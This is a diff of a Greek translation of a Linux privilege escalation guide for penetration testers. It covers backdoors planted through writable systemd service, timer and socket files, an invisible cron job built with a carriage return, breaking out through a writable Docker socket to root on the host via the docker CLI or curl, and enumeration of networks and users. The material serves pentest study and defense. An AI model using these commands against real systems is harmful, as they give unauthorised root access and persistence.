εντοπίσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να αναβαθμίσετε τα δικαιώματά σας. +Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως να μπορείτε να το εκμεταλλευτείτε και να αποκτήσετε αυξημένα προνόμια. -Για παράδειγμα, για να **παρακολουθείτε κάθε 0.1s για 1 λεπτό**, **να ταξινομήσετε κατά τις λιγότερο εκτελεσμένες εντολές** και να διαγράψετε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε: +Για παράδειγμα, για **να παρακολουθείτε κάθε 0.1s για 1 λεπτό**, **να ταξινομείτε κατά τις λιγότερο εκτελεσμένες εντολές** και να διαγράφετε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Μπορείτε επίσης να χρησιμοποιήσετε** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (αυτό θα παρακολουθεί και θα καταγράφει κάθε process που ξεκινά). +**Μπορείτε επίσης να χρησιμοποιήσετε** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (αυτό θα παρακολουθεί και θα απαριθμεί κάθε process που ξεκινά). ### Αόρατα cron jobs -Είναι δυνατόν να δημιουργηθεί ένα cronjob **τοποθετώντας ένα carriage return μετά από ένα σχόλιο** (χωρίς newline character), και το cronjob θα λειτουργήσει. Παράδειγμα (προσέξτε το carriage return char): +Είναι δυνατόν να δημιουργηθεί ένα cronjob **τοποθετώντας έναν carriage return μετά από ένα σχόλιο** (χωρίς χαρακτήρα newline), και το cron job θα λειτουργήσει. Παράδειγμα (παρατηρήστε τον χαρακτήρα carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -407,12 +435,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Εγγράψιμα _.service_ αρχεία -Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, μπορείτε να το **τροποποιήσετε** ώστε να **εκτελεί** το **backdoor** σας όταν η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινηθεί η μηχανή).\ +Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, **θα μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινάει**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε έως ότου το μηχάνημα επανεκκινηθεί).\ Για παράδειγμα δημιουργήστε το backdoor σας μέσα στο .service αρχείο με **`ExecStart=/tmp/script.sh`** -### Εγγράψιμα binaries υπηρεσιών +### Εγγράψιμα service binaries -Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής πάνω σε binaries που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε για backdoors ώστε όταν οι υπηρεσίες ξαναεκτελεστούν τα backdoors να εκτελεστούν. +Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε binaries που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε για backdoors ώστε όταν οι υπηρεσίες ξαναεκτελεστούν τα backdoors να εκτελεστούν. ### systemd PATH - Σχετικές Διαδρομές @@ -420,74 +448,74 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -Εάν διαπιστώσετε ότι μπορείτε να **write** σε οποιονδήποτε από τους φακέλους της διαδρομής, ίσως να μπορέσετε να **escalate privileges**. Πρέπει να αναζητήσετε αρχεία που χρησιμοποιούν **relative paths being used on service configurations**, όπως: +Αν διαπιστώσετε ότι μπορείτε να **write** σε οποιονδήποτε από τους φακέλους της διαδρομής, ενδέχεται να μπορείτε να **escalate privileges**. Πρέπει να αναζητήσετε αρχεία ρυθμίσεων υπηρεσιών που χρησιμοποιούν **relative paths being used on service configurations** όπως: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με **το ίδιο όνομα με το δυαδικό αρχείο του σχετικού μονοπατιού** μέσα στον systemd PATH φάκελο στον οποίο μπορείτε να γράψετε, και όταν η υπηρεσία ζητήσει να εκτελέσει την ευπαθή ενέργεια (**Start**, **Stop**, **Reload**), το **backdoor** σας θα εκτελεστεί (χρήστες χωρίς προνόμια συνήθως δεν μπορούν να start/stop υπηρεσίες αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`). +Στη συνέχεια, δημιούργησε ένα **executable** με το **same name as the relative path binary** μέσα στον φάκελο systemd PATH που μπορείς να γράψεις, και όταν η υπηρεσία ζητήσει να εκτελέσει τη ευάλωτη ενέργεια (**Start**, **Stop**, **Reload**), το **backdoor** σου θα εκτελεστεί (χρήστες χωρίς προνόμια συνήθως δεν μπορούν να start/stop services αλλά έλεγξε αν μπορείς να χρησιμοποιήσεις `sudo -l`). -**Μάθετε περισσότερα για τις υπηρεσίες με `man systemd.service`.** +**Μάθε περισσότερα για υπηρεσίες με `man systemd.service`.** -## **Χρονοδιακόπτες** +## **Timers** -Οι **Χρονοδιακόπτες** είναι αρχεία μονάδων systemd των οποίων το όνομα τελειώνει σε `**.timer**` και ελέγχουν αρχεία ή γεγονότα `**.service**`. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron, καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρόνου ημερολογίου και μονοτονικά χρονικά γεγονότα και μπορούν να τρέξουν ασύγχρονα. +**Timers** είναι systemd unit files των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν `**.service**` αρχεία ή events. Οι **Timers** μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron καθώς έχουν ενσωματωμένη υποστήριξη για calendar time events και monotonic time events και μπορούν να τρέξουν ασύγχρονα. -Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με: +Μπορείς να απαριθμήσεις όλους τους timers με: ```bash systemctl list-timers --all ``` -### Εγγράψιμοι χρονοδιακόπτες +### Εγγράψιμοι timers -Εάν μπορείτε να τροποποιήσετε έναν χρονοδιακόπτη, μπορείτε να τον κάνετε να εκτελέσει κάποιες υπάρχουσες μονάδες του systemd.unit (όπως `.service` ή `.target`) +Αν μπορείτε να τροποποιήσετε έναν timer, μπορείτε να τον κάνετε να εκτελέσει κάποιες υπάρχουσες μονάδες του systemd.unit (όπως μια `.service` ή μια `.target`) ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι το Unit: -> Η μονάδα που θα ενεργοποιηθεί όταν αυτός ο timer λήξει. Το όρισμα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Εάν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα timer, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας timer να ονομάζονται ταυτόσημα, εκτός από το επίθημα. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (Βλέπε παραπάνω.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Therefore, to abuse this permission you would need to: +Συνεπώς, για να καταχραστείτε αυτή την permission θα χρειαστεί να: -- Βρείτε κάποια systemd unit (όπως ένα `.service`) που είναι **εκτελώντας ένα εκτελέσιμο αρχείο με δικαιώματα εγγραφής** -- Βρείτε κάποια systemd unit που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στο **systemd PATH** (για να παραστήσετε εκείνο το εκτελέσιμο) +- Βρείτε κάποια systemd unit (όπως `.service`) που **εκτελεί ένα writable binary** +- Βρείτε κάποια systemd unit που **εκτελεί ένα relative path** και έχετε **writable privileges** πάνω στο **systemd PATH** (για να μιμηθείτε το εκτελέσιμο) -**Learn more about timers with `man systemd.timer`.** +**Μάθετε περισσότερα για τα timers με `man systemd.timer`.** -### **Enabling Timer** +### **Ενεργοποίηση Timer** -Για να ενεργοποιήσετε ένα timer χρειάζεστε προνόμια root και να εκτελέσετε: +Για να ενεργοποιήσετε ένα timer χρειάζεστε root privileges και να εκτελέσετε: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Σημειώστε ότι ο **timer** **ενεργοποιείται** με τη δημιουργία ενός symlink προς αυτόν στο `/etc/systemd/system/.wants/.timer` +Σημειώστε ότι το **timer** **ενεργοποιείται** δημιουργώντας ένα symlink προς αυτό στο `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** σε ίδιες ή διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τυπικά αρχεία descriptor του Unix για επικοινωνία μεταξύ μηχανών και ρυθμίζονται μέσω `.socket` αρχείων. +Τα Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στον ίδιο ή σε διαφορετικούς υπολογιστές μέσα σε μοντέλα client-server. Χρησιμοποιούν τυπικά αρχεία descriptor του Unix για επικοινωνία μεταξύ μηχανών και ρυθμίζονται μέσω αρχείων `.socket`. Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`. -**Μάθετε περισσότερα για sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι: +**Μάθετε περισσότερα για τις sockets με `man systemd.socket`.** Στο αρχείο αυτό μπορούν να ρυθμιστούν διάφορες ενδιαφέρουσες παράμετροι: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές διαφέρουν αλλά σε γενικές γραμμές χρησιμοποιούνται για να **υποδείξουν πού θα ακούει** το socket (το path του AF_UNIX socket αρχείου, το IPv4/6 και/ή τον αριθμό θύρας για ακρόαση, κ.λπ.) -- `Accept`: Παίρνει ένα boolean όρισμα. Αν **true**, μια **instance υπηρεσίας spawnάρεται για κάθε εισερχόμενη σύνδεση** και μόνο το socket της σύνδεσης περνάει σε αυτή. Αν **false**, όλα τα listening sockets οι ίδιοι **πέρανται στη gestart service unit**, και μόνο μία service unit spawnάρεται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μία service unit αδιαμφισβήτητα χειρίζεται όλη την εισερχόμενη κίνηση. **Προεπιλογή false**. Για λόγους απόδοσης, συνιστάται να γράφονται νέοι daemons με τρόπο κατάλληλο για `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Παίρνουν μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **δημιουργηθούν** και δεθούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διεργασία. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές διαφέρουν αλλά συνοπτικά χρησιμοποιούνται για να **υποδείξουν πού θα ακροάζεται** το socket (το μονοπάτι του AF_UNIX αρχείου socket, τη διεύθυνση IPv4/6 και/ή τον αριθμό θύρας που θα ακούει, κ.λπ.) +- `Accept`: Δέχεται λογική παράμετρο. Εάν είναι **true**, δημιουργείται μια **instance υπηρεσίας για κάθε εισερχόμενη σύνδεση** και μόνο το connection socket περνάει σε αυτή. Εάν είναι **false**, όλα τα listening sockets **περνάνε στην ξεκίνημένη service unit**, και μόνο μία service unit δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μια μοναδική service unit χειρίζεται απαρέγκλιτα όλη την εισερχόμενη κίνηση. **Default: false**. Για λόγους απόδοσης, συνιστάται νέοι daemons να γράφονται με τρόπο συμβατό με `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Δέχονται μια ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **δημιουργηθούν** και δεσμευτούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διεργασία. - `ExecStopPre`, `ExecStopPost`: Επιπλέον **εντολές** που **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **κλείσουν** και αφαιρεθούν, αντίστοιχα. -- `Service`: Προσδιορίζει το όνομα της **service** unit που **θα ενεργοποιηθεί** σε **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η service που φέρει το ίδιο όνομα με το socket (με το επίθημα αντικατεστημένο). Στις περισσότερες περιπτώσεις δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτή την επιλογή. +- `Service`: Καθορίζει το όνομα της service unit που θα ενεργοποιηθεί σε περίπτωση εισερχόμενης κίνησης. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με `Accept=no`. Από προεπιλογή δείχνει στην service με το ίδιο όνομα με το socket (με την κατάλληλη αλλαγή του επίθηματος). Στις περισσότερες περιπτώσεις δεν είναι απαραίτητο να χρησιμοποιηθεί αυτή η επιλογή. -### Εγγράψιμα .socket αρχεία +### Εγγράψιμα αρχεία .socket -Αν βρείτε ένα **εγγράψιμο** αρχείο `.socket` μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και το backdoor θα εκτελεστεί πριν το socket δημιουργηθεί. Επομένως, **πιθανότατα θα χρειαστεί να περιμένετε μέχρι να γίνει reboot της μηχανής.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Εάν βρείτε ένα **εγγράψιμο** αρχείο `.socket`, μπορείτε να **προσθέσετε** στην αρχή του τμήματος `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και το backdoor θα εκτελεστεί πριν δημιουργηθεί το socket. Επομένως, **πιθανότατα θα χρειαστεί να περιμένετε μέχρι την επανεκκίνηση της μηχανής.**\ +_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση του socket αρχείου αλλιώς το backdoor δεν θα εκτελεστεί_ -### Εγγράψιμα sockets +### Εγγράψιμες sockets -Αν εντοπίσετε κάποιο εγγράψιμο socket (_τώρα μιλάμε για Unix Sockets και όχι για τα config `.socket` αρχεία_), τότε **μπορείτε να επικοινωνήσετε** με αυτό το socket και ίσως να εκμεταλλευτείτε κάποια ευπάθεια. +Εάν **εντοπίσετε κάποιο εγγράψιμο socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα config αρχεία `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με εκείνο το socket και ίσως να εκμεταλλευτείτε μια ευπάθεια. -### Εντοπισμός Unix Sockets +### Καταγραφή Unix Sockets ```bash netstat -a -p --unix ``` @@ -509,28 +537,28 @@ socket-command-injection.md ### HTTP sockets -Σημειώστε ότι μπορεί να υπάρχουν μερικά **sockets που ακούνε HTTP** requests (_Δεν αναφέρομαι σε .socket files αλλά σε αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: +Σημειώστε ότι μπορεί να υπάρχουν μερικά **sockets που ακούν για HTTP** requests (_Δεν μιλάω για .socket αρχεία αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Αν το socket **απαντήσει σε ένα HTTP** αίτημα, τότε μπορείτε να **επικοινωνήσετε** μαζί του και ίσως να **exploit some vulnerability**. +Εάν το socket **απαντήσει σε ένα HTTP** αίτημα, τότε μπορείτε να **επικοινωνήσετε** με αυτό και ίσως να **exploit κάποια ευπάθεια**. -### Εγγράψιμο Docker Socket +### Εγγράψιμη Docker socket -Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να προστατευτεί. Κατά προεπιλογή, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Παρακάτω ακολουθεί ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικοί τρόποι αν το Docker CLI δεν είναι διαθέσιμο. +Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να ασφαλιστεί. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Εδώ ακολουθεί μια ανάλυση του πώς αυτό μπορεί να γίνει και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο. #### **Privilege Escalation with Docker CLI** -Εάν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να escalate privileges χρησιμοποιώντας τις παρακάτω εντολές: +Εάν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να escalate privileges χρησιμοποιώντας τις ακόλουθες εντολές: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Αυτές οι εντολές σας επιτρέπουν να τρέξετε ένα container με root-level access στο host filesystem. +Αυτές οι εντολές σας επιτρέπουν να τρέξετε ένα container με πρόσβαση root στο file system του host. -#### **Χρήση του Docker API απευθείας** +#### **Using Docker API Directly** -Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμη να χειριστεί μέσω του Docker API και εντολών `curl`. +Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμα να χειριστεί μέσω του Docker API και εντολών `curl`. 1. **List Docker Images:** Ανάκτηση της λίστας των διαθέσιμων images. @@ -538,7 +566,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Στείλτε ένα αίτημα για να δημιουργήσετε ένα container που προσαρτά το root directory του host συστήματος. +2. **Create a Container:** Αποστολή αιτήματος για δημιουργία container που κάνει mount το root directory του host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -550,7 +578,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Χρησιμοποιήστε το `socat` για να δημιουργήσετε μια σύνδεση στο container, επιτρέποντας την εκτέλεση εντολών εντός αυτού. +3. **Attach to the Container:** Χρησιμοποιήστε `socat` για να δημιουργήσετε μια σύνδεση με το container, επιτρέποντας την εκτέλεση εντολών μέσα σε αυτό. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -560,31 +588,31 @@ Connection: Upgrade Upgrade: tcp ``` -Αφού ρυθμίσετε τη σύνδεση `socat`, μπορείτε να εκτελείτε εντολές απευθείας μέσα στο container με root-level πρόσβαση στο host filesystem. +Αφού στήσετε τη σύνδεση `socat`, μπορείτε να εκτελέσετε εντολές απευθείας μέσα στο container με πρόσβαση root στο filesystem του host. -### Άλλα +### Others -Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο docker socket επειδή είστε **μέσα στην ομάδα `docker`**, έχετε [**περισσότερους τρόπους για κλιμάκωση προνομίων**](interesting-groups-linux-pe/index.html#docker-group). Αν ο [**docker API ακούει σε μια θύρα**](../../network-services-pentesting/2375-pentesting-docker.md#compromising) μπορείτε επίσης να τον παραβιάσετε. +Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο docker socket επειδή βρίσκεστε **inside the group `docker`** έχετε [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Δείτε **περισσότερους τρόπους για να κάνετε break out από το docker ή να το καταχραστείτε για κλιμάκωση προνομίων** στο: +Ελέγξτε **περισσότερους τρόπους για να διαφύγετε από το docker ή να το εκμεταλλευτείτε για escalation δικαιωμάτων** στο: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) κλιμάκωση προνομίων +## Containerd (ctr) privilege escalation -Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`**, διαβάστε την ακόλουθη σελίδα καθώς **ενδέχεται να μπορείτε να την καταχραστείτε για κλιμάκωση προνομίων**: +Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`** διαβάστε την επόμενη σελίδα καθώς **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** κλιμάκωση προνομίων +## **RunC** privilege escalation -Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`**, διαβάστε την ακόλουθη σελίδα καθώς **ενδέχεται να μπορείτε να την καταχραστείτε για κλιμάκωση προνομίων**: +Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`** διαβάστε την επόμενη σελίδα καθώς **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -593,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -Το D-Bus είναι ένα προηγμένο inter-Process Communication (IPC) σύστημα που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποδοτικά. Σχεδιασμένο με γνώμονα το σύγχρονο Linux σύστημα, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας μεταξύ εφαρμογών. +Το D-Bus είναι ένα προηγμένο σύστημα **inter-Process Communication (IPC)** που επιτρέπει σε εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο για το σύγχρονο Linux σύστημα, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας μεταξύ εφαρμογών. -Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, παρόμοιο με βελτιωμένα UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ στοιχείων του συστήματος. Για παράδειγμα, ένα σήμα από έναν Bluetooth daemon σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει σε έναν music player να κάνει mute, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας διαδικασίες που παραδοσιακά ήταν πολύπλοκες. +Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, παρόμοιο με ενισχυμένα UNIX domain sockets. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, διευκολύνοντας την ομαλή ενσωμάτωση μεταξύ στοιχείων του συστήματος. Για παράδειγμα, ένα σήμα από έναν Bluetooth daemon για εισερχόμενη κλήση μπορεί να κάνει έναν music player να σιγήσει, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα remote object system, απλοποιώντας αιτήματα υπηρεσιών και κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες. -Το D-Bus λειτουργεί με ένα μοντέλο **allow/deny**, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) βάσει του σωρευτικού αποτελέσματος των αντίστοιχων κανόνων πολιτικής. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το bus, ενδέχεται να επιτρέψουν κλιμάκωση προνομίων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων. +Το D-Bus λειτουργεί με ένα μοντέλο **allow/deny**, διαχειριζόμενο τα permissions των μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων, κ.λπ.) βάσει του συνολικού αποτελέσματος ταιριασμένων κανόνων πολιτικής. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το bus, και ενδέχεται να επιτρέψουν privilege escalation μέσω της εκμετάλλευσης αυτών των permissions. -Παρατίθεται ένα παράδειγμα τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf`, που περιγράφει τα δικαιώματα για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από το `fi.w1.wpa_supplicant1`. +Παρατίθεται ένα παράδειγμα τέτοιας πολιτικής σε `/etc/dbus-1/system.d/wpa_supplicant.conf`, που περιγράφει τα permissions για τον root χρήστη να έχει ιδιοκτησία, να στέλνει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`. -Πολιτικές χωρίς καθορισμένο user ή group εφαρμόζονται καθολικά, ενώ οι πολιτικές στο πλαίσιο "default" εφαρμόζονται σε όλους όσοι δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. +Οι πολιτικές χωρίς καθορισμένο user ή group εφαρμόζονται καθολικά, ενώ οι πολιτικές σε "default" context εφαρμόζονται σε όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. ```xml @@ -610,7 +638,7 @@ runc-privilege-escalation.md ``` -**Μάθε πώς να enumerate και να exploit μια D-Bus communication εδώ:** +**Μάθε πώς να enumerate και να exploit μια επικοινωνία D-Bus εδώ:** {{#ref}} @@ -619,9 +647,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Δίκτυο** -Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να προσδιορίσεις τη θέση της μηχανής. +Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να καθορίσεις τη θέση της μηχανής. -### Γενική ανίχνευση +### Γενική enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -644,24 +672,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Ανοιχτά ports +### Ανοιχτές θύρες -Ελέγχετε πάντα τις υπηρεσίες δικτύου που τρέχουν στη μηχανή και με τις οποίες δεν καταφέρατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτήν: +Ελέγχετε πάντα τις υπηρεσίες δικτύου που τρέχουν στο σύστημα και με τις οποίες δεν μπορούσατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτό: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Έλεγξε αν μπορείς να sniff traffic. Αν μπορείς, μπορείς να αποκτήσεις κάποια credentials. +Έλεγξε αν μπορείς να sniff traffic. Αν μπορείς, ίσως καταφέρεις να αποκτήσεις κάποιες credentials. ``` timeout 1 tcpdump ``` ## Χρήστες -### Γενική Εξέταση +### Γενικός Εντοπισμός -Ελέγξτε **ποιος** είστε, ποιες **privileges** έχετε, ποιοι **χρήστες** υπάρχουν στα συστήματα, ποιοι μπορούν να **login** και ποιοι έχουν **root privileges**: +Ελέγξτε **ποιος** είστε, ποια **δικαιώματα** έχετε, ποιοι **χρήστες** υπάρχουν στο σύστημα, ποιοι μπορούν **να συνδεθούν** και ποιοι έχουν **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -685,12 +713,12 @@ gpg --list-keys 2>/dev/null ``` ### Μεγάλο UID -Κάποιες εκδόσεις του Linux επηρεάστηκαν από ένα bug που επιτρέπει σε χρήστες με **UID > INT_MAX** να αποκτήσουν αυξημένα προνόμια. Περισσότερες πληροφορίες: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) και [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Εκμεταλλευτείτε το** χρησιμοποιώντας: **`systemd-run -t /bin/bash`** +Ορισμένες εκδόσεις του Linux επηρεάστηκαν από ένα bug που επιτρέπει σε χρήστες με **UID > INT_MAX** να αποκτήσουν αυξημένα προνόμια. Περισσότερες πληροφορίες: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), 